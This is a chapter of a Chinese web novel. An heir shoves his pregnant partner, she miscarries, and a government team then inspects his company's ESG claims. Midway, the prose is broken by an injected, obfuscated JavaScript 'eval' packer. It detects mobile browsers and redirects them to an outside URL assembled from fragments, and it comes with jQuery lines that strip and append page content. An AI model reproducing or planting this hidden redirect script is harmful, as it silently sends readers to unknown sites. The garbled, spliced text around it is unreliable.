自从外滩那场不欢而散的晚宴之后，梁景轩和殷灿言之间的气氛，就陷入了一种冰点。


    公寓里，弥漫着一股烈酒和雪茄混合的、颓废的气息。


    「……如果恒景最终破产？」


    深夜的公寓里，梁景轩将这句话，从牙缝里挤了出来。他的手里，捏着一杯冰块几乎要融化殆尽的威士忌。


    「他凭什么这么说？他是在诅咒我们吗？！一个不知道从哪里冒出来的的小公务员，他懂什么叫商业吗？！」他猛地将酒杯砸在茶几上。


    殷灿言坐在不远处的沙发上，正在用笔记本电脑处理邮件。她没有抬头，只是平静地回了一句：「他懂不懂，不重要。重要的是，他能决定，谁死，谁活。」


    梁景轩冲过来，一把合上她的电脑，屏幕瞬间暗下。


    「你他妈的，到底是哪边的人？！」他嘶吼着，腥热的酒气喷在她的脸上，「你是不是早就和他通过气了？！那个PlanB，你们是不是早就准备好了？！」


    殷灿言缓缓地抬起头，看着眼前这个因为「失控」而面目狰狞的男人，眼神里，是深不见底的疲惫。


    「梁景轩……」她开口，声音沙哑，「如果你觉得，一个PlanB，就是对你最大的威胁……」


    她顿了顿，嘴角勾起一抹悲哀的弧度。


    「那你，可能真的，还没看懂这盘棋。」


    「我没看懂？！」他笑了，那笑声，尖利而疯狂，「我看懂了！我看得清清楚楚！你，和他，还有那个该死的乔珩，你们都是一伙的！你们这些只相信模型和规则的怪物！你们是不是觉得，我，我们这些在泥潭里打滚的、不干净的人，都活该去死？！」


    「你是不是也觉得，我……很脏？」他俯下身，死死地盯着她的眼睛。


    殷灿言没有回答。


    「滚开！」他嘶吼着，猛地、一把将她从沙发上推开。


    殷灿言的身体向后踉跄着。


    就在她踉跄的轨迹中，她的眼神，却在一瞬间，变得无比清醒和冷静。


    她看到了，她身后那张有着锐利边角的、意大利黑金花大理石餐桌。


    她的身体，以一个极其微小、极其隐蔽的、几乎无法被察觉的角度，调整了方向。


    「砰——」


    一声沉闷的、□□与坚硬物体碰撞的巨响。


    殷灿言发出一声痛苦的闷哼，整个人，瞬间瘫软了下去，蜷缩在了冰冷的地板上。


    「……灿言？」


    梁景轩，在那声巨响之后，瞬间，从狂怒中，惊醒了。


    他看着蜷缩在地上的她，看着她那张瞬间变得惨白、布满冷汗的脸。


    然后，他的目光，缓缓下移，落在了她那依然平坦的、但他知道，正孕育着一个「生命」的小腹上。


    「孩子……！」


    「不……不……我不是故意的……」他慌乱地、语无伦次地，向她走去，伸出手，似乎想去扶她。


    「别碰我。」殷灿言的声音，细若游丝，却像一把冰冷的刀，瞬间将他钉在了原地。


    他看着她，看着她那双充满了「痛苦」、「恐惧」和「你竟然伤害我」的、破碎的眼神。


    又看了看自己那只，刚刚，亲手，将她推向深渊的、颤抖的手。


    他脸上的血色，一寸寸地，褪尽了。


    医院走廊的灯光，白得刺眼。


    梁景轩独自一人，靠在冰冷的手术室门外，像一尊失了魂的雕塑。那身昂贵的、手工定制的羊绒衫上，还沾着几点已经干涸的、属于殷灿言的血迹。


    空气里，弥漫着一股消毒水和血腥味混合的味道。


    他脑海里，反复回响着自己刚刚在电话里，对着父亲梁业恒，那段语无伦次的、充满了哭腔的求助。


    「——爸！是我……是我不好……灿言她……她流血了……孩子……我们的孩子可能……爸！你快帮我想想办法！找最好的医生！最好的！」


    而电话那头，是长久的、令人窒息的沉默。


    然后，是他父亲，梁业恒，那一句如同惊雷般、充满了失望与暴怒的咆哮：


    「逆子！！！」


    「砰」的一声，电话被狠狠地挂断。


    梁景轩握着早已没了声音的手机，身体缓缓地、沿着冰冷的墙壁，滑坐到了地上。


    他蜷缩在空无一人的走廊里，将自己的脸，深深地埋在了膝盖里，肩膀剧烈地、无法抑制地颤抖着。


    就在这时，一阵平稳的、高跟鞋敲击地面的声音，由远及近。


    他抬起头，布满血丝的眼睛里，看到了一线「希望」。


    景佩仪来了。


    她穿着一身黑色的香奈儿套装，颈间的珍珠项链，在惨白的灯光下，泛着柔和而冰冷的光泽。她的身后，跟着几个神情肃穆的助理和保镖。


    「妈……」梁景轩挣扎着，想站起身，声音沙哑。


    景佩仪没有看他。


    她甚至没有在手术室门口，停留一秒。


    她只是径直地，走到了走廊尽头的护士站，将她的首席助理，叫到了身前。


    她没有回头，也没有压低声音。她只是用一种安排下午茶般、云淡风轻的、不容置喙的口吻，对助理下达着指令。


    「去打点一下。」


    「手术结束后，里面所有清理出来的东西，尤其是……那个所谓的胚胎组织，我不管你用什么方法，用多少钱，都必须，第一时间，拿到手。」


    「然后，立刻，送去香港，找最好的化验所，做最精准的DNA亲子鉴定。」


    「我要知道，我梁家的长孙，究竟，姓不姓梁。」


    她说完，便转身，在一众保镖的簇拥下，头也不回地，向着电梯口走去。


    从头到尾，她没有再看过自己那个蜷缩在地上、脸色惨白的儿子，一眼。


    梁景轩坐在冰冷的、光洁如镜的地板上。


    他看着自己母亲那冷酷决绝的背影。


    他又想起了自己父亲那声暴怒的「逆子」。


    他忽然，不受控制地，低低地，笑了起来。


    那笑声，嘶哑、破碎，充满了无尽的、荒谬的自嘲。


    他，梁景轩，这个恒景的「太子爷」，这个别人口中的「天之骄子」。


    在这一刻，终于，真真切切地，变成了一个……


    无父，无母，也即将……无子的、真正的「孤家寡人」。


    手术室的灯，终于熄灭了。


    医生走出来，摘下口罩，脸上是公式化的疲惫。


    「……孕12周，先兆流产。」


    「……情绪激动和外力拉扯，是诱因。」


    「……我们尽力了。但孩子，没保住。」


    没保住。


    梁景轩靠在墙上，身体缓缓滑落，最终坐在了冰冷的、光洁如镜的地板上。


    就在这时，他的首席助理，匆匆地，跑了过来。


    「梁总……」助理的声音里，带着一丝不敢喘息的惊恐，「北京……北京那边来人了。」


    梁景轩缓缓地，抬起头，眼神空洞。


    「自然资源部的青年政策研究小组，」助理的声音在颤抖，「他们……他们已经到上海了。说是要对长三角地区的部分房企ESG项目，进行前期摸底巡查。」


    助理递上了一份刚刚收到的、盖着红头的文件。


    「第一站，就是……恒景东方。时间……是明天上午，九点。」


    第二天上午九点，恒景东方总部。


    那间小小的、充满了文件气息的会议室里，坐着两拨人。


    一边，是梁景轩和几个被他临时从各个部门抽调来的、脸色同样苍白的高管。


    他一夜未睡，眼下的乌青浓重得像淤伤，整个人散发着一种行尸走肉般的颓败气息。


    另一边，则是来自北京的、以一位司长为首的「调研组」。气氛严肃而压抑。


    而殷灿言，就坐在梁景轩的身旁。


    她穿着一身宽大的、深色的职业套装，脸上化了厚厚的妆，试图遮盖那份无法掩饰的憔悴与苍白。她的坐姿，依然挺拔，像一棵被狂风吹袭过后，依然倔强地不肯弯折的树。但那放在桌下的、微微颤抖的手，却泄露了她此刻的虚弱。


    会议开始了。


    恒景的代表，对着PPT，用一种充满了「激情」和「水分」的语言，吹嘘着他们那个「碳汇林」项目的宏伟蓝图和「亮眼」的环保数据。


    殷灿言没有听。


    她的目光，穿过了会议室里沉闷的空气，落在了会议桌最末尾的那个角落里。


    那里，坐着一个年轻人。


    他穿着一身最普通的、甚至有些磨损的俄式军大衣。


    他此刻的身份，不是领导，也不是专家。


    他只是安静地坐在那里，面前放着一个笔记本，一支英雄616钢笔，和一个装着清水的、最老式的「为人民服务」搪瓷杯。


    当司长的茶杯空了时，他会站起身，悄无声息地走过去，添满水，再悄无声息地退回自己的角落。


    他的工作，似乎只是负责……倒水，和会议记录。


    他是顾臣戈。


    就在这时，当恒景的代表，讲到「我们的碳汇林项目，预计每年能为上海贡献上百万吨的碳汇量」时。


    角落里的顾臣戈，有了动作。


    他没有抬头，也没有打断任何人。


    他只是在自己的记录本上，缓缓地、写下了一行字。然后，将记录本，不经意地，向外推了推，放在了桌角。


    殷灿言的座位角度，恰好能看到那行字。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755694|189948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    「E(Environment),S(Social),G(Governance)……」


    「G,isthefoundation.」


    （环境、社会、治理……治理，才是根基。）


    一句话，像一道闪电，瞬间击中了她。


    在她因为「失去孩子」和「与梁景轩的决裂」而陷入一片混乱和黑暗的内心废墟中时，这行冷静的、充满了「秩序感」的文字，像第一束……穿透迷雾的光。


    汇报结束，司长带着几位领导，在梁景轩的陪同下，先行离场。


    会议室里，只剩下了收拾文件的殷灿言，和那个依然在角落里，默默整理着会议记录的顾臣戈。


    梁景轩在门口，担忧地看了殷灿言一眼，但最终，还是跟着大部队走了。


    殷灿言站起身，一阵剧烈的头晕目眩，让她下意识地，扶了一下桌角。她的脸色，在惨白的灯光下，几乎是透明的。


    「还好吗？」


    一个平静的声音，从她身后传来。


    她回过头，看到顾臣戈，不知何时，已经站到了她的身后。他的手里，拿着他那个老式的搪瓷杯。


    「脸色不太好。」他说，不是一句关心的问候，更像一句客观的、不带任何感情的「事实陈述」。


    「……没事。」殷灿言稳住身形，她抬起手，用一种极其缓慢的、仿佛用尽了全身力气的动作，解开了自己西装外套最上面的那颗纽扣，「只是有点……累。」


    她的声音，因为虚弱，而显得有些沙哑和破碎。


    顾臣戈没有再追问。他只是拿起桌上几乎没动过的茶壶，为自己，也为殷灿言面前那个空了的茶杯，续满了水。白色的热气，氤氲而上，模糊了他镜片后的眼神。


    「殷总监……」他开口，声音平静，像在讨论一个纯粹的技术问题，「你报告里，反复提到的风险敞口，数据很详尽。」


    他顿了顿，抬起眼，那双总是隐藏在镜片后的、平静的眼睛，第一次，正眼看向了她。


    「但你有没有想过，对于恒景这个体量的系统来说，它最大的风险，可能不是来自市场……」


    他一字一句地，清晰地说道。


    「……而是来自，它自身存在的合法性？」


    殷灿言看着眼前这个男人，忽然，低低地，笑了一声。


    那笑声，很轻，却充满了无尽的疲惫和自嘲。


    「合法性？」她重复着这个词，像在咀嚼一颗苦涩的橄榄，「顾同志，你觉得，一个连存在，都无法被证明的东西，有资格，去讨论合法性吗？」


    顾臣戈的眉头，几不可察地蹙了一下。


    殷灿言没有再看他。她只是伸出手，用指尖，极其缓慢地、近乎神经质地，抚摸着自己依然平坦的、却经历过一场「风暴」的小腹。


    「……它来过。又走了。」


    她的声音，轻得像一声叹息。


    「你说，它……合法吗？」


    顾臣戈感觉自己的大脑，在那一瞬间，被狠狠地撞击了一下。


    他脑海始终忘不了，那是爷爷在生命最后的日子里。


    爷爷躺在病床上，已经陷入了昏迷。


    而几个穿着西装的、面目模糊的大人，正围在他的床边，将一支冰冷的、沾满了印泥的钢笔，塞进他那只已经毫无力气的手里，然后，抓着他的手，在一份他根本不知道内容的文件上，拍下了一张「假装签字」的照片。


    他记得，他当时，就躲在病房的门外。他看到，那支钢笔，从爷爷无力的手中一次次滑落，掉在了地上。


    他也看到，母亲，那个同样才华横溢、却无比脆弱的地质学家，就站在走廊的另一头，看着这一切，脸上，是那种……他永远无法忘记的、混合着「恶心」、「无力」与「自我厌恶」的、破碎的表情。


    ——一个「不存在」的签名。


    ——一个「不存在」的生命。


    在这一刻，两个相隔了二十年的「幽灵」，跨越时空，重叠在了一起。


    顾臣戈看着眼前这个，用最平静的语气，说着最残忍的话的女人，忽然感到胃里一阵翻搅，下意识地，向后退了半步，拉开了与她之间的距离。


    殷灿言注意到了他这个细微的、充满嫌恶的动作，嘴角的自嘲弧度更深了。


    而顾臣戈，在退后了那半步之后，却停住了。


    他伸出手，没有去碰她，也没有去说任何安慰的话。


    他只是拿起桌上那个，他刚刚为她续满水的热茶杯，用自己的手，包裹住，试了试温度。


    然后，才轻轻地，推到了她的手边。


    「殷总监。」他开口，声音里，带上了一丝冰冷的沙哑，「我姓顾，顾叙公的顾。」


    「茶，还烫。小心。」